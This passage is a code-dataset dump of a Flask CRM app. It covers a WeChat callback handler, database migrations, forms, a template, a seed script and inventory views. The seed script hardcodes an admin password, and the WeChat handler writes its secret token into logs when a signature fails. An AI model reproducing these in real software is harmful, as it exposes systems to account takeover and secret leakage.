None:\n return \"\"\n\n value = ''.join(sorted([WECHAT_SERVER_AUTHENTICATION_TOKEN, timestamp, nonce]))\n sha1_value = hashlib.sha1(value.encode('utf-8')).hexdigest()\n if sha1_value != signature:\n app.logger.info(\"server_authentication sign not match value:\" + value + \" ; sha1:\" + sha1_value)\n return \"\"\n\n if request.method == 'POST':\n get_xml_str = request.get_data().decode('utf-8')\n app.logger.info(\"get xml : [\" + get_xml_str + \"]\")\n\n dom_tree = xml.dom.minidom.parseString(get_xml_str)\n root = dom_tree.documentElement\n text_tun = root.getElementsByTagName('ToUserName')[0].firstChild.data\n text_fun = root.getElementsByTagName('FromUserName')[0].firstChild.data\n text_ct = root.getElementsByTagName('CreateTime')[0].firstChild.data\n text_mt = root.getElementsByTagName('MsgType')[0].firstChild.data\n\n ret_doc = xml.dom.minidom.Document()\n element_root = ret_doc.createElement('xml')\n\n element_to_user_name = ret_doc.createElement('ToUserName')\n text_to_user_name = ret_doc.createCDATASection(text_fun)\n element_to_user_name.appendChild(text_to_user_name)\n\n element_from_user_name = ret_doc.createElement('FromUserName')\n text_from_user_name = ret_doc.createCDATASection(text_tun)\n element_from_user_name.appendChild(text_from_user_name)\n\n element_root.appendChild(element_to_user_name)\n element_root.appendChild(element_from_user_name)\n\n # 暂时全部返回文本消息\n element_create_time = ret_doc.createElement('CreateTime')\n text_create_time = ret_doc.createTextNode(text_ct)\n element_create_time.appendChild(text_create_time)\n\n element_msg_type = ret_doc.createElement('MsgType')\n text_msg_type = ret_doc.createTextNode(\"text\")\n element_msg_type.appendChild(text_msg_type)\n\n element_root.appendChild(element_create_time)\n element_root.appendChild(element_msg_type)\n\n if text_mt == \"event\":\n text_event = root.getElementsByTagName('Event')[0].firstChild.data\n # 点击微信公众号中的 按钮事件\n if text_event == \"CLICK\":\n text_ek = root.getElementsByTagName('EventKey')[0].firstChild.data\n # 人工客服 按钮\n if text_ek == \"click_custom_service\":\n element_content = ret_doc.createElement('Content')\n text_content = ret_doc.createTextNode(\"请发送文字: 人工客服\")\n element_content.appendChild(text_content)\n\n element_root.appendChild(element_content)\n else:\n element_content = ret_doc.createElement('Content')\n text_content = ret_doc.createTextNode(\"未知click事件:\" + text_ek)\n element_content.appendChild(text_content)\n\n element_root.appendChild(element_content)\n # 关注微信公众号事件\n elif text_event == \"subscribe\":\n element_content = ret_doc.createElement('Content')\n text_content = ret_doc.createTextNode(\"感谢关注公众号,请点击按钮进行操作\")\n element_content.appendChild(text_content)\n\n element_root.appendChild(element_content)\n # 公众微信号中的扫描按钮事件\n elif text_event == \"scancode_push\" or text_event == \"scancode_waitmsg\":\n input_element_scan_info = root.getElementsByTagName('ScanCodeInfo')[0]\n text_st = input_element_scan_info.getElementsByTagName('ScanType')[0].firstChild.data\n text_sr = input_element_scan_info.getElementsByTagName('ScanResult')[0].firstChild.data\n element_content = ret_doc.createElement('Content')\n text_content = ret_doc.createTextNode(\"扫描[\" + text_st + \"]\" + \"成功[\" + text_sr + \"],请等待处理\")\n element_content.appendChild(text_content)\n\n element_root.appendChild(element_content)\n # 推送模板 用户接受状态返回\n elif text_event == \"TEMPLATESENDJOBFINISH\":\n text_msg_id = root.getElementsByTagName('MsgID')[0].firstChild.data\n text_status = root.getElementsByTagName('Status')[0].firstChild.data\n wpm = WechatPushMsg.query.filter_by(wechat_msg_id=text_msg_id).first()\n if wpm:\n if text_status == \"success\":\n wpm.push_flag = \"succ\"\n else:\n wpm.push_flag = \"fail\"\n wpm.remark = text_status\n wpm.save()\n else:\n return \"\"\n else:\n text_content = root.getElementsByTagName('Content')[0].firstChild.data\n if \"人工客服\" in text_content:\n # 删除默认的文本节点\n element_root.removeChild(element_msg_type)\n element_msg_type.removeChild(text_msg_type)\n element_msg_type.appendChild(ret_doc.createCDATASection(\"transfer_customer_service\"))\n\n element_root.appendChild(element_msg_type)\n\n # 默认无返回数据, 返回一条信息给客户\n # 超时问题,使用异步队列?\n WechatCall.send_text_by_openid(text_fun, \"正在转人工客服,请稍后...\")\n else:\n element_content = ret_doc.createElement('Content')\n text_content = ret_doc.createTextNode(\"请点击按钮进行操作\")\n element_content.appendChild(text_content)\n\n element_root.appendChild(element_content)\n\n ret_doc.appendChild(element_root)\n xmlstr = ret_doc.toxml()\n\n app.logger.info(\"return xml : [\" + xmlstr + \"]\")\n return xmlstr[22:]\n else:\n # authentication\n return request.args.get(\"echostr\")\n\n return \"\"\n" }, { "alpha_fraction": 0.6406067609786987, "alphanum_fraction": 0.6802800297737122, "avg_line_length": 27.566667556762695, "blob_id": "08fac19b6ac7b3f63ae9be5a423d70ea0f79638c", "content_id": "05db758363abad01133dac8beac3b56d53fdccb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 857, "license_type": "no_license", "max_line_length": 98, "num_lines": 30, "path": "/migrations/versions/9fea66319b4a_add_parent_id_to_users_and_sales_areas.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add_parent_id_to_users_and_sales_areas\n\nRevision ID: 9fea66319b4a\nRevises: 5705eb7a8dcf\nCreate Date: 2017-03-10 10:02:08.760531\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9fea66319b4a'\ndown_revision = '5705eb7a8dcf'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users_and_sales_areas', sa.Column('parent_id', sa.Integer(), nullable=True))\n op.add_column('users_and_sales_areas', sa.Column('parent_time', sa.DateTime(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users_and_sales_areas', 'parent_time')\n op.drop_column('users_and_sales_areas', 'parent_id')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6426553726196289, "alphanum_fraction": 0.6836158037185669, "avg_line_length": 24.285715103149414, "blob_id": "23591905cac8abd3bc2479047e666fef92046742", "content_id": "5bcf41f552683f5a06675a2f9f91e53c4bba62e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 708, "license_type": "no_license", "max_line_length": 110, "num_lines": 28, "path": "/migrations/versions/c7bccccf81a5_change_square_from_integer_to_float_1.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"change square from integer to float #1\n\nRevision ID: c7bccccf81a5\nRevises: bcbb13072ffa\nCreate Date: 2017-02-23 05:56:42.919800\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'c7bccccf81a5'\ndown_revision = 'bcbb13072ffa'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('order_contents', 'square_num')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('order_contents', sa.Column('square_num', sa.INTEGER(), autoincrement=False, nullable=True))\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.636512279510498, "alphanum_fraction": 0.6626703143119812, "avg_line_length": 46.0512809753418, "blob_id": "53388506048d98fb4bf68c06c3ba59c4e157ad9d", "content_id": "f19c01dfe4dd4713fef6a4131cc019682b226c48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2175, "license_type": "no_license", "max_line_length": 118, "num_lines": 39, "path": "/application/backstage_management/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "from wtforms import StringField, PasswordField, validators, TextAreaField, BooleanField\nfrom ..forms import BaseCsrfForm\n\n\n# BASE ACCOUNT_LOGIN\nclass AccountLoginForm(BaseCsrfForm):\n email = StringField('邮箱', [validators.Email(message=\"请填写正确格式的email\")])\n password = PasswordField('密码', validators=[\n validators.Length(min=8, max=20, message=\"字段长度必须大等于8小等于20\"),\n ])\n remember_me = BooleanField('记住我')\n\n\n# WECHAT USER_LOGIN\nclass WechatUserLoginForm(AccountLoginForm):\n openid = StringField('微信openId', [validators.DataRequired()])\n\n\n# BASE USER\nclass AccountForm(BaseCsrfForm):\n email = StringField('邮箱', [validators.Email(message=\"请填写正确格式的email\")])\n name = StringField('姓名', default=\"\", validators=[validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n nickname = StringField('昵称', default=\"\", validators=[validators.Length(min=2, max=30, message=\"字段长度必须大等于2小等于30\")])\n password = PasswordField('密码', validators=[\n validators.DataRequired(message=\"字段不可为空\"),\n validators.Length(min=8, max=20, message=\"字段长度必须大等于8小等于20\"),\n validators.EqualTo('password_confirm', message=\"两次输入密码不匹配\")\n ])\n password_confirm = PasswordField('密码')\n address = TextAreaField('地址', default=\"\",\n validators=[validators.Length(min=5, max=300, message=\"字段长度必须大等于5小等于300\")])\n # 电话匹配规则 11位手机 or 3-4区号(可选)+7-8位固话+1-6分机号(可选)\n phone = StringField('电话', default=\"\",\n validators=[\n validators.Regexp(r'(^\\d{11})$|(^(\\d{3,4}-)?\\d{7,8}(-\\d{1,5})?$)', message=\"请输入正确格式的电话\")])\n title = StringField('头衔', default=\"\")\n user_type = StringField('用户类型', validators=[validators.AnyOf(['员工', '经销商'], message=\"字段枚举错误\")])\n dept_ranges = StringField(u'所属部门', default=\"\")\n sale_range = StringField(u'销售范围', default=\"\")\n" }, { "alpha_fraction": 0.6196136474609375, "alphanum_fraction": 0.6820207834243774, "avg_line_length": 23.035715103149414, "blob_id": "e128a9d2de67dd596f9f46d767639890e00840ee", "content_id": "a99de6de134e2910d63fd56e3fdae4651981b356", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 673, "license_type": "no_license", "max_line_length": 87, "num_lines": 28, "path": "/migrations/versions/2372f1f8d894_add_square_num.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add square_num\n\nRevision ID: 2372f1f8d894\nRevises: c7bccccf81a5\nCreate Date: 2017-02-23 06:05:01.001318\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '2372f1f8d894'\ndown_revision = 'c7bccccf81a5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('order_contents', sa.Column('square_num', sa.Float(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('order_contents', 'square_num')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6556766033172607, "alphanum_fraction": 0.6573967933654785, "avg_line_length": 32.20000076293945, "blob_id": "7af1f665b49009479a4ffe7b37c1979d04cb692f", "content_id": "f252f15a68e17815f0337890dc66c7321aef93eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3912, "license_type": "no_license", "max_line_length": 112, "num_lines": 105, "path": "/application/content/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom wtforms import Form, StringField, TextAreaField, SelectField\nfrom wtforms.validators import *\nfrom ..models import User, SalesAreaHierarchy\n\n\nclass ContentForm(Form):\n name = StringField('内容标题', validators=[DataRequired(message='name is necessary')])\n description = TextAreaField('内容描述', validators=[DataRequired(message='description is necessary')])\n\n def save(self, content):\n self.populate_obj(content)\n return content\n\n\nclass ContentCategoryForm(Form):\n name = StringField('目录名称', validators=[DataRequired(message='name is necessary')])\n\n def save(self, category):\n self.populate_obj(category)\n return category\n\n\nclass ContentClassificationForm(Form):\n name = StringField('次级目录名称', validators=[DataRequired(message='name is necessary')])\n description = TextAreaField('次级目录描述', validators=[DataRequired(message='description is necessary')])\n\n def save(self, classification):\n self.populate_obj(classification)\n return classification\n\n\nclass ContentClassificationOptionForm(Form):\n name = StringField('三级目录名称', validators=[DataRequired(message='option name is necessary')])\n\n def save(self, option):\n self.populate_obj(option)\n return option\n\n\nclass MaterialForm(Form):\n name = StringField('物料名称', validators=[DataRequired(message='物料名称必填')])\n stock_num = StringField('库存数量', validators=[DataRequired(message='库存数量必填')])\n\n def save(self, obj):\n self.populate_obj(obj)\n return obj\n\n\nclass MaterialApplicationForm(Form):\n # delete '等待经销商再次确认', '经销商已确认', '已取消'\n status = SelectField(\n '审核意见',\n choices=[('同意申请', '同意申请'), ('拒绝申请', '拒绝申请')],\n validators=[DataRequired(message='status is necessary')])\n memo = TextAreaField('审核备注')\n\n def save(self, obj):\n self.populate_obj(obj)\n return obj\n\n\ndef get_provinces():\n return SalesAreaHierarchy.query.filter(SalesAreaHierarchy.level_grade == 3).order_by(SalesAreaHierarchy.id)\n\n\n# 后台员工申请表单\nclass MaterialApplicationForm2(Form):\n department = StringField('申请部门')\n applicant = StringField('申请人')\n application_date = StringField('申请日期')\n customer = StringField('客户名称')\n sales_area = SelectField('销售区域*', choices=[('', '')] + [(obj.name, obj.name) for obj in get_provinces()])\n project_name = StringField('项目名称')\n purpose = StringField('申请用途*')\n app_memo = TextAreaField('申请备注')\n delivery_method = StringField('寄件方式*')\n receive_address = StringField('收件地址*')\n receiver = StringField('收件人*')\n receiver_tel = StringField('收件人电话*')\n\n\nclass MaterialApplicationSearchForm(Form):\n created_at_gt = StringField('申请时间从')\n created_at_lt = StringField('到')\n app_no = StringField('申请号')\n # dealer = SelectField(\n # '经销商',\n # choices=[('', '')] + [(user.id, user.nickname) for user in User.query.filter(User.user_or_origin == 2)]\n # )\n sales_area = SelectField('销售区域(省份)', choices=[('', '')] + [(obj.name, obj.name) for obj in get_provinces()])\n status = SelectField(\n '申请状态',\n choices=[('', ''), ('新申请', '新申请'), ('同意申请', '同意申请'), ('拒绝申请', '拒绝申请'), ('已发货', '已发货')]\n )\n app_type = SelectField('类型', choices=[('', ''), (2, '经销商申请'), (3, '员工申请')])\n\n\nclass LogisticsCompanyInfoForm(Form):\n name = StringField('名称', validators=[DataRequired()])\n telephone = StringField('电话', validators=[DataRequired()])\n\n def save(self, obj):\n self.populate_obj(obj)\n return obj\n\n\n" }, { "alpha_fraction": 0.644444465637207, "alphanum_fraction": 0.6912280917167664, "avg_line_length": 27.5, "blob_id": "4ce2874bce52e811501127b896b2110c6e326948", "content_id": "4212219d8638927df0db65e157fce092ac49dfd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 855, "license_type": "no_license", "max_line_length": 93, "num_lines": 30, "path": "/migrations/versions/5705eb7a8dcf_add_production_num_to_order_content.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"add production_num to order_content\n\nRevision ID: 5705eb7a8dcf\nRevises: c2024ad11427\nCreate Date: 2017-03-10 00:02:23.674172\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5705eb7a8dcf'\ndown_revision = 'c2024ad11427'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('order_contents', sa.Column('inventory_choose', sa.JSON(), nullable=True))\n op.add_column('order_contents', sa.Column('production_num', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('order_contents', 'production_num')\n op.drop_column('order_contents', 'inventory_choose')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5629844665527344, "alphanum_fraction": 0.5654069781303406, "avg_line_length": 35.875, "blob_id": "0f13e1a32abcdfcd59f2a464bb4a98af8aedea5e", "content_id": "125a1179925183d4ea5f193c72455928dcf6d8e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2192, "license_type": "no_license", "max_line_length": 156, "num_lines": 56, "path": "/application/templates/mobile/material_application_show.html", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "{% extends 'mobile_base.html' %}\n{% from 'macros/mobile_partial.html' import header %}\n{% block content %}\n{{ header('物料申请') }}\n\n<div class=\"main-content\">\n\t<div class=\"text bot-gap-2\">\n\t\t<p class=\"text-title bot-gap-1\">物料申请详情</p>\n\t\t<div class=\"contract-block top-gap-3\">\n\t\t\t<div class=\"contract-header\">\n\t\t\t\t<p class=\"text-md text-center\">{{ application.app_no }}</p>\n\t\t\t\t<p class=\"text-sm text-center\">{{ application.user.sales_areas.all()[0].name }} - {{ application.user.nickname }}</p>\n\t\t\t</div>\n {% for content in application.application_contents %}\n <div class=\"contract-item\">\n <div class=\"contract-table\">\n <p class=\"text-sm\">物料名称:{{ content.material_name }}</p>\n <p class=\"text-sm\">申请数量:{{ content.number }}</p>\n </div>\n\t\t\t\t\t<div class=\"contract-table\">\n\t\t\t\t\t\t{% if content.available_number %}\n\t\t\t\t\t\t\t<p class=\"text-sm\">审核数量:{{ content.available_number }}</p>\n\t\t\t\t\t\t{% endif %}\n\t\t\t\t\t</div>\n </div>\n {% endfor %}\n\t\t\t{% if application.app_memo %}\n\t\t\t\t<div class=\"contract-item\">\n\t\t\t\t\t<div class=\"contract-table\">\n\t\t\t\t\t\t<p class=\"text-sm\">申请备注:{{ application.app_memo }}</p>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t{% endif %}\n\t\t\t<div class=\"contract-footer\">\n\t\t\t\t<div class=\"contract-table\">\n\t\t\t\t\t<p class=\"text-sm\">申请日期: {{ application.created_at.strftime('%F') }}</p>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"contract-table\">\n\t\t\t\t\t<p class=\"text-sm\">申请状态: {{ application.status }}</p>\n\t\t\t\t</div>\n\t\t\t\t{% if application.memo %}\n\t\t\t\t<div class=\"contract-table\">\n\t\t\t\t\t<p class=\"text-sm\">审核备注: {{ application.memo }}</p>\n\t\t\t\t</div>\n\t\t\t\t{% endif %}\n\t\t\t</div>\n\t\t\t{% if application.status == '等待经销商再次确认' %}\n\t\t\t<a class=\"btn btn-warning btn-block text-lg top-gap-1\" href=\"{{ url_for('mobile_material_application_reconfirm_accept', id=application.id) }}\">确认审核结果</a>\n\t\t\t<a class=\"btn btn-default btn-block text-lg\" href=\"{{ url_for('mobile_material_application_cancel', id=application.id) }}\">取消申请</a>\n\t\t\t{% endif %}\n\t\t</div>\n\t</div>\n\n</div>\n\n{% endblock %}" }, { "alpha_fraction": 0.6521539092063904, "alphanum_fraction": 0.6556798815727234, "avg_line_length": 44.61538314819336, "blob_id": "1b4b60d25233618090b3d97e74e5997b75e12049", "content_id": "9399f643774799c95920761f1eb5cc4cba349d4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7695, "license_type": "no_license", "max_line_length": 118, "num_lines": 143, "path": "/seed.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n$ python seed.py\nExecute this file will create a bunch of sample data for mobile application display.\n\"\"\"\nfrom application.models import *\n\n# 案例目录基础数据(default)\nif not ContentCategory.query.filter(ContentCategory.name == '案例展示').first():\n cases = ContentCategory(name='案例展示').save\n classification1 = ContentClassification(name='按场景选择案例', description='按场景选择案例', category_id=cases.id).save\n classification2 = ContentClassification(name='按地域选择案例', description='按地域选择案例', category_id=cases.id).save\n\n option_list_1 = ['校园专用', '医院专用', '球馆专用']\n option_list_2 = ['上海地区', '北京地区', '福建地区']\n for i in range(len(option_list_1)):\n option = ContentClassificationOption(name=option_list_1[i], classification_id=classification1.id).save\n for i in range(len(option_list_2)):\n option = ContentClassificationOption(name=option_list_2[i], classification_id=classification2.id).save\n\nif not ContentCategory.query.filter(ContentCategory.name == '物料需要').first():\n wlxy = ContentCategory(name='物料需要').save\n cls1 = ContentClassification(name='物料下载', category_id=wlxy.id).save\n\n option_list = ['门头设计下载', '合同范本下载', '竞标范本下载', '日常设计下载', '促销内容下载', '促销设计下载']\n for name in option_list:\n option = ContentClassificationOption(name=name, classification_id=cls1.id).save\n\nif not ContentCategory.query.filter(ContentCategory.name == '施工指导').first():\n sgzd = ContentCategory(name='施工指导').save\n cls1 = ContentClassification(name='施工内容及材料', category_id=sgzd.id).save\n\n option_list = ['自流平条件', '施工材料指导']\n for name in option_list:\n option = ContentClassificationOption(name=name, classification_id=cls1.id).save\n\n\n# 物料申请基础数据(展示)\nmaterial_list = '运动展柜 商用展柜 家用展柜 博格画册 专版画册 锐动系列 帝彩尚丽 帝彩尚高 认证证书'.split()\nif Material.query.count() == 0:\n for i in material_list:\n if not Material.query.filter(Material.name == i).first():\n Material(name=i).save\n\ndh_array = '董事长 销售部 仓储物流部 电商部 设计部 市场部 售后部 财务部'.split()\nfor dh_name in dh_array:\n if not DepartmentHierarchy.query.filter_by(name=dh_name).first():\n dh = DepartmentHierarchy(name=dh_name)\n if dh_name == \"董事长\":\n dh.level_grade = 1\n else:\n dh.level_grade = 2\n dh.parent_id = DepartmentHierarchy().query.filter_by(name='董事长').first().id\n db.session.add(dh)\n db.session.commit()\n\nif not User.query.filter_by(email=\"[email protected]\").first():\n u = User(email=\"[email protected]\", nickname=\"admin\", user_or_origin=3, password='1qaz@WSX')\n dh = DepartmentHierarchy().query.filter_by(level_grade=1).first()\n u.departments.append(dh)\n u.save\n\nwebpage_describe_list = [\n (\"order_manage.dealers_management\", \"GET\", \"经销商列表管理\"),\n (\"order_manage.dealer_index\", \"GET\", \"各省经销商销售统计\"),\n (\"order_manage.region_profit\", \"GET\", \"各省销售统计\"),\n (\"order_manage.order_index\", \"GET\", \"订单列表\"),\n (\"order_manage.contract_index\", \"GET\", \"合同列表\"),\n (\"content.material_application_index\", \"GET\", \"物料申请\"),\n (\"project_report.index\", \"GET\", \"项目报备申请\"),\n (\"inventory.share_inventory_list\", \"GET\", \"工程剩余库存申请审核\"),\n (\"order_manage.finance_contract_index\", \"GET\", \"合同列表\"),\n (\"product.category_index\", \"GET\", \"产品\"),\n (\"inventory.index\", \"GET\", \"库存\"),\n (\"design_application.index\", \"GET\", \"待设计列表\"),\n (\"content.category_index\", \"GET\", \"内容\"),\n (\"order_manage.contracts_for_tracking\", \"GET\", \"生产合同列表\"),\n (\"order_manage.tracking_infos\", \"GET\", \"物流状态列表\"),\n (\"web_access_log.statistics\", \"GET\", \"点击率统计\"),\n (\"order_manage.team_profit\", \"GET\", \"销售团队销售统计\"),\n (\"organization.user_index\", \"GET\", \"用户管理\"),\n (\"organization.authority_index\", \"GET\", \"组织架构及权限组\"),\n (\"organization.regional_and_team_index\", \"GET\", \"区域管理和销售团队\"),\n]\n\ndh = DepartmentHierarchy.query.filter_by(name=\"董事长\").first()\nfor (endpoint, method, describe) in webpage_describe_list:\n if not WebpageDescribe.query.filter_by(endpoint=endpoint, method=method).first():\n wd = WebpageDescribe(endpoint=endpoint, method=method, describe=describe)\n if endpoint == \"organization.user_index\":\n wd.validate_flag = False\n #wd.check_data()\n wd.save\n AuthorityOperation(webpage_id=wd.id, role_id=dh.id, flag=\"Y\").save\n\n\nwd = WebpageDescribe.query.filter_by(endpoint=\"organization.user_index\").first()\nif wd:\n wd.validate_flag = True\n wd.save\n\n# SalesAreaHierarchy.query.filter_by(level_grade=2).delete()\nfor regional_name in [\"华东区\", \"华中华北区\", \"华西华南区\"]:\n if not SalesAreaHierarchy.query.filter(\n SalesAreaHierarchy.name == regional_name and SalesAreaHierarchy.level_grade == 2).first():\n db.session.add(SalesAreaHierarchy(name=regional_name, level_grade=2))\n db.session.commit()\n\n\nnew_webpage_describe_list={\n (\"order_manage.dealers_management\", \"GET\", \"经销商视图-->经销商列表管理\"),\n (\"order_manage.dealer_index\", \"GET\", \"经销商视图-->各省经销商销售统计\"),\n (\"order_manage.region_profit\", \"GET\", \"数据统计-->各省销售统计\"),\n (\"order_manage.region_dealers\", \"GET\", \"经销商视图-->各区经销商数量\"),\n (\"order_manage.order_index\", \"GET\", \"销售管理-->订单列表\"),\n (\"order_manage.contract_index\", \"GET\", \"销售管理-->合同列表\"),\n (\"content.material_application_index\", \"GET\", \"销售管理-->工作流与审批-->物料申请\"),\n (\"project_report.index\", \"GET\", \"销售管理-->工作流与审批-->项目报备申请\"),\n (\"inventory.share_inventory_list\", \"GET\", \"销售管理-->工作流与审批-->工程剩余库存申请审核\"),\n (\"order_manage.finance_contract_index\", \"GET\", \"财务管理-->合同列表\"),\n (\"product.category_index\", \"GET\", \"产品管理-->产品\"),\n (\"inventory.index\", \"GET\", \"产品管理-->库存\"),\n (\"design_application.index\", \"GET\", \"产品设计-->待设计列表\"),\n (\"content.category_index\", \"GET\", \"归档中心-->内容\"),\n (\"order_manage.contracts_for_tracking\", \"GET\", \"售后服务-->生产合同列表\"),\n (\"order_manage.tracking_infos\", \"GET\", \"售后服务-->物流状态列表\"),\n (\"content.material_application_index_approved\", \"GET\", \"售后服务-->物料申请列表\"),\n (\"web_access_log.statistics\", \"GET\", \"数据统计-->点击率统计\"),\n (\"order_manage.team_profit\", \"GET\", \"数据统计-->销售团队销售统计\"),\n (\"organization.user_index\", \"GET\", \"系统组织架构-->用户管理\"),\n (\"organization.authority_index\", \"GET\", \"系统组织架构-->组织架构及权限组\"),\n (\"organization.regional_and_team_index\", \"GET\", \"系统组织架构-->区域管理和销售团队\"),\n}\n\nfor (endpoint, method, new_describe) in new_webpage_describe_list:\n wd = WebpageDescribe.query.filter_by(endpoint=endpoint, method=method).first()\n if wd:\n wd.describe = new_describe\n wd.save\n else:\n wd = WebpageDescribe(endpoint=endpoint, method=method, describe=new_describe)\n wd.save\n AuthorityOperation(webpage_id=wd.id, role_id=dh.id, flag=\"Y\").save\n" }, { "alpha_fraction": 0.49366164207458496, "alphanum_fraction": 0.5006840229034424, "avg_line_length": 50, "blob_id": "46a96995162b52c4c1441577e57f832242ac8064", "content_id": "e6df45ee7685b1808d93d2ffca3c717c1db41627", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11439, "license_type": "no_license", "max_line_length": 120, "num_lines": 215, "path": "/application/inventory/views.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom flask import Blueprint, redirect, render_template, url_for, request, flash, current_app\nfrom ..models import *\nfrom .api import load_categories, create_inventory, load_inventories, update_inventory, delete_inventory, load_inventory\nfrom decimal import Decimal\nfrom application.utils import is_number\nfrom flask_login import current_user\nfrom .api import load_all_skus, load_skufeatures\nfrom .. import cache\nfrom ..wechat.models import WechatCall\n\ninventory = Blueprint('inventory', __name__, template_folder='templates')\n\n\[email protected]('/', methods=['GET'])\ndef index():\n sku_features = load_skufeatures()\n option_ids = [x for x in request.args.getlist('options[]') if x != '']\n sku_code = request.args.get('sku_code', '')\n current_app.logger.info(option_ids)\n skus = load_all_skus({'option_ids': option_ids, 'sku_code': sku_code,\n 'page': str(request.args.get('page', 1)), 'page_size': '50'})\n return render_template('inventory/index.html', skus=skus, sku_features=sku_features, option_ids=option_ids,\n sku_code = sku_code)\n\n\[email protected]('/sku/<int:id>', methods=['GET'])\ndef list_invs(id):\n invs = load_inventories(id)\n return render_template('inventory/list_invs.html', invs=invs)\n\n\[email protected]('/new/<int:id>', methods=['GET', 'POST'])\ndef new(id):\n if request.method == 'POST':\n user_id = request.form.get('user_id')\n inv_type = request.form.get('inv_type')\n production_date = request.form.get('production_date', '')\n batch_no = 'BT%s%s' % (datetime.datetime.now().strftime('%y%m%d%H%M%S'), inv_type)\n stocks = request.form.get('stocks', '')\n price = request.form.get('price', '')\n user_name = '公司'\n params = {'user_id': user_id, 'inv_type': inv_type, 'production_date': production_date,\n 'stocks': stocks, \"price\": price}\n current_app.logger.info(params)\n if production_date == '':\n flash('生产日期不能为空', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if stocks == '':\n flash('库存数量不能为空', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if not is_number(stocks):\n flash('库存数量必须为数字', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if Decimal(stocks) <= Decimal(\"0\"):\n flash('库存数量必须大于0', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if inv_type == '2' and price == '':\n flash('尾货库存价格必须填写', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if not price == '':\n if not is_number(price):\n flash('价格必须为数字', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n if Decimal(price) <= Decimal(\"0\"):\n flash('价格必须大于0', 'danger')\n return render_template('inventory/new.html', id=id, params=params)\n data = {'inventory_infos': [{\"sku_id\": id, \"inventory\": [{\"type\": inv_type, \"user_id\": user_id,\n \"user_name\": user_name,\n \"production_date\": production_date,\n \"batch_no\": batch_no,\n \"price\": price,\n \"stocks\": stocks}]}]}\n response = create_inventory(data)\n if response.status_code == 201:\n flash('库存创建成功', 'success')\n else:\n flash('库存创建失败', 'danger')\n return redirect(url_for('inventory.index'))\n return render_template('inventory/new.html', id=id, params={})\n\n\[email protected]('/edit/<int:id>', methods=['GET', 'POST'])\ndef edit(id):\n inv = load_inventory(id)\n from_path = request.args.get('from')\n if request.method == 'POST':\n production_date = request.form.get('production_date', '')\n stocks = request.form.get('stocks', '')\n price = request.form.get('price', '')\n if production_date == '':\n flash('生产日期不能为空', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n if stocks == '':\n flash('库存数量不能为空', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n if not is_number(stocks):\n flash('库存数量必须为数字', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n if Decimal(stocks) <= Decimal(\"0\"):\n flash('库存数量必须大于0', 'danger')\n return render_template('inventory/edit.html', 